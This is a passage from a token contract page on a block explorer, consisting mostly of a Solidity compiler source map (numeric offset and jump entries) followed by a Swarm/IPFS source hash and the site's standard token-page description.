;;::::0;13335:12;;13298:50:::1;::::0;;;13335:12;7112:42;13298:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13277:73;13387:21;13422:29:::0;;13419:92:::1;;13453:56;::::0;7015:42:::1;::::0;13453:56;::::1;;;::::0;13492:16;;13453:56:::1;::::0;;;13492:16;7015:42;13453:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13419:92;-1:-1:-1::0;;6858:8:0;:16;;-1:-1:-1;;6858:16:0;;;-1:-1:-1;;;;;;;;12452:1066:0:o;15105:292::-;-1:-1:-1;;;;;15207:13:0;;15184:7;15207:13;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;15224:16:0;;;;;;:5;:16;;;;;;;;15207:33;15204:62;;;15249:11;;:15;;15261:3;15249:15;:::i;:::-;15242:22;;;;15204:62;15292:4;;-1:-1:-1;;;;;15292:4:0;;;15279:17;;;;15276:39;;-1:-1:-1;15305:8:0;;15298:15;;15276:39;15338:4;;-1:-1:-1;;;;;15338:4:0;;;15328:14;;;;15325:36;;-1:-1:-1;15351:8:0;;15344:15;;15325:36;-1:-1:-1;15378:11:0;;15105:292;;;;:::o;13877:434::-;13967:16;;;13981:1;13967:16;;;;;;;;13943:21;;13967:16;;;;;;;;;;-1:-1:-1;13967:16:0;13943:40;;14012:4;13994;13999:1;13994:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13994:23:0;;;:7;;;;;;;;;;:23;;;;14038:6;;:13;;;-1:-1:-1;;;14038:13:0;;;;:6;;;;;:11;;:13;;;;;13994:7;;14038:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14028:4;14033:1;14028:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14028:23:0;;;:7;;;;;;;;;:23;14094:6;;14062:53;;14079:4;;14094:6;14103:11;14062:8;:53::i;:::-;14126:6;;:177;;-1:-1:-1;;;14126:177:0;;-1:-1:-1;;;;;14126:6:0;;;;:57;;:177;;14198:11;;14126:6;;14240:4;;14267;;14287:15;;14126:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13932:379;13877:434;:::o;13526:343::-;13639:6;;13607:53;;13624:4;;-1:-1:-1;;;;;13639:6:0;13648:11;13607:8;:53::i;:::-;13671:6;;:190;;-1:-1:-1;;;13671:190:0;;13734:4;13671:190;;;10733:34:1;10783:18;;;10776:34;;;13671:6:0;10826:18:1;;;10819:34;;;10869:18;;;10862:34;7208:42:0;10912:19:1;;;10905:44;13845:15:0;10965:19:1;;;10958:35;-1:-1:-1;;;;;13671:6:0;;;;:22;;13701:9;;10667:19:1;;13671:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13526:343;;:::o;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;199:548::-;311:4;340:2;369;358:9;351:21;401:6;395:13;444:6;439:2;428:9;424:18;417:34;469:1;479:140;493:6;490:1;487:13;479:140;;;588:14;;;584:23;;578:30;554:17;;;573:2;550:26;543:66;508:10;;479:140;;;483:3;668:1;663:2;654:6;643:9;639:22;635:31;628:42;738:2;731;727:7;722:2;714:6;710:15;706:29;695:9;691:45;687:54;679:62;;;;199:548;;;;:::o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2043:247::-;2102:6;2155:2;2143:9;2134:7;2130:23;2126:32;2123:52;;;2171:1;2168;2161:12;2123:52;2210:9;2197:23;2229:31;2254:5;2229:31;:::i;2484:316::-;2561:6;2569;2577;2630:2;2618:9;2609:7;2605:23;2601:32;2598:52;;;2646:1;2643;2636:12;2598:52;-1:-1:-1;;2669:23:1;;;2739:2;2724:18;;2711:32;;-1:-1:-1;2790:2:1;2775:18;;;2762:32;;2484:316;-1:-1:-1;2484:316:1:o;2805:416::-;2870:6;2878;2931:2;2919:9;2910:7;2906:23;2902:32;2899:52;;;2947:1;2944;2937:12;2899:52;2986:9;2973:23;3005:31;3030:5;3005:31;:::i;:::-;3055:5;-1:-1:-1;3112:2:1;3097:18;;3084:32;3154:15;;3147:23;3135:36;;3125:64;;3185:1;3182;3175:12;3125:64;3208:7;3198:17;;;2805:416;;;;;:::o;3434:388::-;3502:6;3510;3563:2;3551:9;3542:7;3538:23;3534:32;3531:52;;;3579:1;3576;3569:12;3531:52;3618:9;3605:23;3637:31;3662:5;3637:31;:::i;:::-;3687:5;-1:-1:-1;3744:2:1;3729:18;;3716:32;3757:33;3716:32;3757:33;:::i;3827:127::-;3888:10;3883:3;3879:20;3876:1;3869:31;3919:4;3916:1;3909:15;3943:4;3940:1;3933:15;3959:168;4032:9;;;4063;;4080:15;;;4074:22;;4060:37;4050:71;;4101:18;;:::i;4132:217::-;4172:1;4198;4188:132;;4242:10;4237:3;4233:20;4230:1;4223:31;4277:4;4274:1;4267:15;4305:4;4302:1;4295:15;4188:132;-1:-1:-1;4334:9:1;;4132:217::o;4354:356::-;4556:2;4538:21;;;4575:18;;;4568:30;4634:34;4629:2;4614:18;;4607:62;4701:2;4686:18;;4354:356::o;5938:128::-;6005:9;;;6026:11;;;6023:37;;;6040:18;;:::i;8411:125::-;8476:9;;;8497:10;;;8494:36;;;8510:18;;:::i;9019:127::-;9080:10;9075:3;9071:20;9068:1;9061:31;9111:4;9108:1;9101:15;9135:4;9132:1;9125:15;9151:251;9221:6;9274:2;9262:9;9253:7;9249:23;9245:32;9242:52;;;9290:1;9287;9280:12;9242:52;9322:9;9316:16;9341:31;9366:5;9341:31;:::i;9407:980::-;9669:4;9717:3;9706:9;9702:19;9748:6;9737:9;9730:25;9774:2;9812:6;9807:2;9796:9;9792:18;9785:34;9855:3;9850:2;9839:9;9835:18;9828:31;9879:6;9914;9908:13;9945:6;9937;9930:22;9983:3;9972:9;9968:19;9961:26;;10022:2;10014:6;10010:15;9996:29;;10043:1;10053:195;10067:6;10064:1;10061:13;10053:195;;;10132:13;;-1:-1:-1;;;;;10128:39:1;10116:52;;10223:15;;;;10188:12;;;;10164:1;10082:9;10053:195;;;-1:-1:-1;;;;;;;10304:32:1;;;;10299:2;10284:18;;10277:60;-1:-1:-1;;;10368:3:1;10353:19;10346:35;10265:3;9407:980;-1:-1:-1;;;9407:980:1:o;11004:306::-;11092:6;11100;11108;11161:2;11149:9;11140:7;11136:23;11132:32;11129:52;;;11177:1;11174;11167:12;11129:52;11206:9;11200:16;11190:26;;11256:2;11245:9;11241:18;11235:25;11225:35;;11300:2;11289:9;11285:18;11279:25;11269:35;;11004:306;;;;;:::o

Swarm Source

ipfs://885ef4b8b773dedf0229da76c4670f39e932a742ccd52196e69fc07289a50717
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.